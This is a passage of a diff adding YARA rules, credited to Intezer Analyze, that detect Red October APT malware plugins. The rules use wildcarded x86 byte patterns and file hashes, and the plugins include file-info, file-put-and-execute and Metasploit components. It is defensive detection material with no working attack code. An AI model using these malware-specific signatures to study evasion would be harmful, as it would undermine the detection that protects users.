+		$block_3 = { 8B ?? ?? ?? 8B ?? ?? 8B ?? ?? 85 ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 0F 8E }
+		$block_4 = { 8B ?? ?? ?? 2B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 0F AF ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 }
+		$block_5 = { 33 ?? 83 ?? ?? 0F 95 ?? 5? 83 ?? ?? 83 ?? ?? 03 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 8C }
+		$block_6 = { 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 8B ?? ?? 5? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_8 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 33 ?? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? 83 ?? ?? D3 ?? 83 ?? ?? 0B ?? 3B ?? 7E }
+		$block_10 = { 8B ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F B6 ?? F6 ?? ?? ?? 89 ?? ?? ?? 74 }
+		$block_11 = { 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 33 ?? 83 ?? ?? 0F 95 ?? 89 ?? 8B }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_13 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 33 ?? 4? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_15 = { 5? 8B ?? 5? 5? 83 ?? ?? ?? 83 ?? ?? ?? 5? 8B ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_16 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_17 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_18 = { 0F B6 ?? 8A ?? ?? 8B ?? ?? 30 ?? FF 4? ?? 8B ?? ?? 3B ?? ?? 0F 8C }
+		$block_19 = { 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 5? 5? C9 C3 }
+		$block_20 = { 8B ?? ?? ?? ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_21 = { 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? ?? 3B ?? ?? 0F 83 }
+		$block_22 = { 8B ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_23 = { 83 ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 0F 85 }
+		$block_24 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? C1 ?? ?? 0B ?? 83 ?? ?? 0F B6 }
+		$block_25 = { 6A ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_26 = { 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? FF 2? }
+		$block_27 = { 8B ?? ?? ?? 03 ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 0F 89 }
+		$block_28 = { 8D ?? ?? ?? ?? ?? ?? 9? 3B ?? ?? ?? BA ?? ?? ?? ?? 0F 83 }
+		$block_29 = { 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_30 = { 8B ?? ?? 5? 33 ?? 5? 33 ?? 4? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_31 = { 5? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_32 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 84 }
+		$block_33 = { 33 ?? 3C ?? 0F 94 ?? BB ?? ?? ?? ?? 89 ?? ?? ?? E9 }
+		$block_34 = { 8B ?? ?? ?? ?? ?? 23 ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_35 = { 39 ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 0F B6 ?? 0F 84 }
+		$block_36 = { 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? 5? 66 ?? ?? 0F 85 }
+		$block_37 = { 0F B6 ?? ?? 8D ?? ?? B1 ?? 84 ?? ?? ?? ?? ?? 74 }
+		$block_38 = { 33 ?? 39 ?? ?? ?? 0F 9D ?? 03 ?? 3B ?? ?? ?? 76 }
+		$block_39 = { 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "6ce873a31d527fc123bed28841737cb201b0cb5f347e0e530dda34a7b62c1f5e" or
+		12 of them
+}
+
+rule RedOctoberPluginSystemInfo {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_1 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_2 = { 5? 83 ?? ?? ?? ?? 8B ?? ?? ?? 5? 5? 8B ?? ?? ?? C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? 0F 84 }
+		$block_3 = { 5? 5? 8B ?? 5? 8B ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 8E }
+		$block_4 = { 8B ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? B9 ?? ?? ?? ?? 33 ?? F3 ?? 0F 84 }
+		$block_5 = { 68 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 2B ?? 85 ?? 89 ?? ?? ?? 0F 8F }
+		$block_6 = { 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_7 = { 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? C1 ?? ?? 03 ?? 0B ?? 83 ?? ?? 0F B6 }
+		$block_8 = { 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_9 = { 5? 8A ?? ?? 8D ?? ?? 0F B6 ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_10 = { 8B ?? ?? ?? 2B ?? 8B ?? 33 ?? 2B ?? 85 ?? 89 ?? ?? ?? 0F 8E }
+		$block_11 = { 8B ?? ?? ?? 3B ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? 0F 84 }
+		$block_12 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_13 = { 5? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 5? 8B ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B6 ?? 5? }
+		$block_15 = { 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 85 ?? 0F 8F }
+		$block_16 = { 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "ad768f49895c295086ad289804f25d16710231446ffdd82b3b9e6e92c237825a" or
+		12 of them
+}
+
+rule RedOctoberPluginInternetConnectivity {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C6 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_1 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_2 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_4 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_7 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_8 = { 68 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_9 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_10 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_11 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_12 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_13 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_15 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "5a3684d67f5dd4bca879f376e086476dbd27689bd1c1daa6acbbde339fb6ccca" or
+		12 of them
+}
+
+rule RedOctoberPluginFileputexec {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F B6 ?? 8A ?? ?? 4? 88 ?? ?? 88 ?? ?? 99 F7 ?? ?? FF 4? ?? 81 7? ?? ?? ?? ?? ?? 7C }
+		$block_1 = { 68 ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_3 = { 5? 8B ?? 5? 5? 8B ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 8E }
+		$block_4 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_5 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_7 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_8 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_12 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_13 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_14 = { 88 ?? ?? 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_15 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 0F B6 ?? 8A ?? ?? 30 ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? ?? 7C }
+		$block_17 = { 5? 5? 5? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 84 }
+		$block_18 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? FF D? 3B ?? 0F 84 }
+		$block_19 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_20 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_21 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_22 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$block_23 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_24 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "b596d4e58b5af33fb4380d4663454f4e3196d86e18390edb8c6f77485be8e7be" or
+		12 of them
+}
+
+rule RedOctoberPluginFileInfo {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 68 ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 0F B6 ?? ?? 0F B6 ?? 8A ?? ?? 4? 88 ?? ?? 88 ?? ?? 99 F7 ?? ?? FF 4? ?? 81 7? ?? ?? ?? ?? ?? 7C }
+		$block_2 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? 8B ?? ?? 33 ?? 33 ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_3 = { 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 8D ?? ?? 5? 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_5 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_6 = { 8B ?? ?? C1 ?? ?? 6A ?? 83 ?? ?? 5? FF 7? ?? 8B ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_7 = { 5? 8B ?? 5? 5? 8B ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 8E }
+		$block_8 = { 8B ?? ?? 33 ?? 6A ?? 5? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? 3B ?? 74 }
+		$block_9 = { 8D ?? ?? 5? 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_10 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 0F AF ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 89 ?? ?? EB }
+		$block_11 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? 7C }
+		$block_12 = { 0F B6 ?? ?? 0F B6 ?? ?? 83 ?? ?? ?? C1 ?? ?? 0B ?? 33 ?? 80 F? ?? 0F 94 ?? 89 ?? ?? EB }
+		$block_13 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_14 = { 8B ?? ?? 89 ?? ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 03 ?? 80 3? ?? 74 }
+		$block_15 = { 8B ?? ?? 03 ?? ?? 89 ?? ?? 83 ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_16 = { 8B ?? ?? ?? ?? ?? 33 ?? 5? 33 ?? 4? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_17 = { 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 8A ?? ?? ?? ?? ?? 4? 88 ?? 3B ?? ?? ?? ?? ?? 75 }
+		$block_18 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_19 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_20 = { 8B ?? ?? 8D ?? ?? 8A ?? 88 ?? ?? 0F B6 ?? 89 ?? ?? 8B ?? ?? F6 ?? ?? ?? 75 }
+		$block_21 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_22 = { 0F B6 ?? 8B ?? 33 ?? 83 ?? ?? 4? D3 ?? 8B ?? ?? C1 ?? ?? 8A ?? ?? 84 ?? 74 }
+		$block_23 = { 0F B6 ?? 33 ?? 8B ?? 83 ?? ?? 4? D3 ?? 8B ?? ?? C1 ?? ?? 8A ?? ?? 84 ?? 75 }
+		$block_24 = { 33 ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_25 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 03 ?? 83 ?? ?? 89 ?? ?? 3B ?? ?? 7D }
+		$block_26 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 8B ?? 2B ?? 80 3? ?? 89 ?? ?? 72 }
+		$block_27 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 2B ?? 89 ?? ?? B8 ?? ?? ?? ?? E9 }
+		$block_28 = { 0F B6 ?? ?? 0F B6 ?? ?? 8B ?? ?? C1 ?? ?? 0B ?? 03 ?? 89 ?? ?? 3B ?? 75 }
+		$block_29 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_30 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 89 ?? ?? 03 ?? 3B ?? ?? 0F 8C }
+		$block_31 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_32 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_33 = { 6A ?? 8B ?? ?? 83 ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_34 = { 8B ?? ?? ?? ?? ?? 33 ?? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_35 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_36 = { 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 8A ?? ?? ?? ?? ?? 4? 88 ?? 3B ?? 75 }
+		$block_37 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? 5? 3B ?? ?? 0F 83 }
+		$block_38 = { 5? 8B ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? ?? ?? ?? 5? 5? 5? 03 ?? E9 }
+		$block_39 = { 8B ?? ?? 8D ?? ?? 8B ?? 99 2B ?? 33 ?? D1 ?? 4? 2B ?? 8D ?? ?? EB }
+		$block_40 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 80 7? ?? ?? 89 ?? ?? 0F 85 }
+		$block_41 = { 8B ?? ?? 0F B6 ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? 7C }
+		$block_42 = { 8A ?? 83 ?? ?? ?? 83 ?? ?? ?? 0F B6 ?? 89 ?? ?? 83 ?? ?? 0F 87 }
+		$block_43 = { 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 03 ?? 3B ?? ?? 7D }
+		$block_44 = { 6A ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_45 = { 88 ?? ?? 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_46 = { 8B ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_47 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 86 }
+		$block_48 = { 8B ?? ?? 8B ?? ?? 4? 89 ?? ?? 0F B6 ?? F6 ?? ?? ?? 89 ?? ?? 74 }
+		$block_49 = { 8B ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_50 = { 6A ?? 6A ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 3B ?? ?? 0F 82 }
+		$block_51 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_52 = { 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? 83 ?? ?? 74 }
+		$block_53 = { 0F B6 ?? 8A ?? ?? 30 ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? ?? 7C }
+		$block_54 = { 8B ?? 8B ?? ?? BA ?? ?? ?? ?? 2B ?? 8D ?? ?? 3B ?? 0F 8C }
+		$block_55 = { 5? 5? 5? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 84 }
+		$block_56 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? FF D? 3B ?? 0F 84 }
+		$block_57 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_58 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_59 = { 8B ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C2 }
+		$block_60 = { 6A ?? 5? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_61 = { 8B ?? ?? 0F BE ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_62 = { 8B ?? 8B ?? 2B ?? ?? BE ?? ?? ?? ?? 2B ?? 3B ?? 0F 8C }
+		$block_63 = { 8B ?? ?? FF 4? ?? 89 ?? ?? 8B ?? ?? 3B ?? ?? 0F 8D }
+		$block_64 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 85 }
+		$block_65 = { 8B ?? ?? 4? 89 ?? ?? 8A ?? 0F B6 ?? 83 ?? ?? 0F 8F }
+		$block_66 = { 8B ?? ?? 33 ?? 89 ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_67 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+		$block_68 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? FF 0? 3B ?? ?? 0F 83 }
+		$block_69 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$block_70 = { 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 3B ?? ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "c870d08388e2786bf97667bf381d8a88c2fd9f94b64dc8c5ba4b715d2a2088ab" or
+		12 of them
+}
+
+rule RedOctoberPluginMetasploit {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F B6 ?? 8A ?? ?? 4? 88 ?? ?? 88 ?? ?? 99 F7 ?? ?? FF 4? ?? 81 7? ?? ?? ?? ?? ?? 7C }
+		$block_1 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_2 = { 68 ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 68 ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 0F BE ?? 83 ?? ?? 74 }
+		$block_4 = { 5? 8B ?? 5? 5? 8B ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 8E }
+		$block_5 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_6 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_7 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_8 = { 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 8B ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? 0F B7 ?? 5? 8B ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? EB }
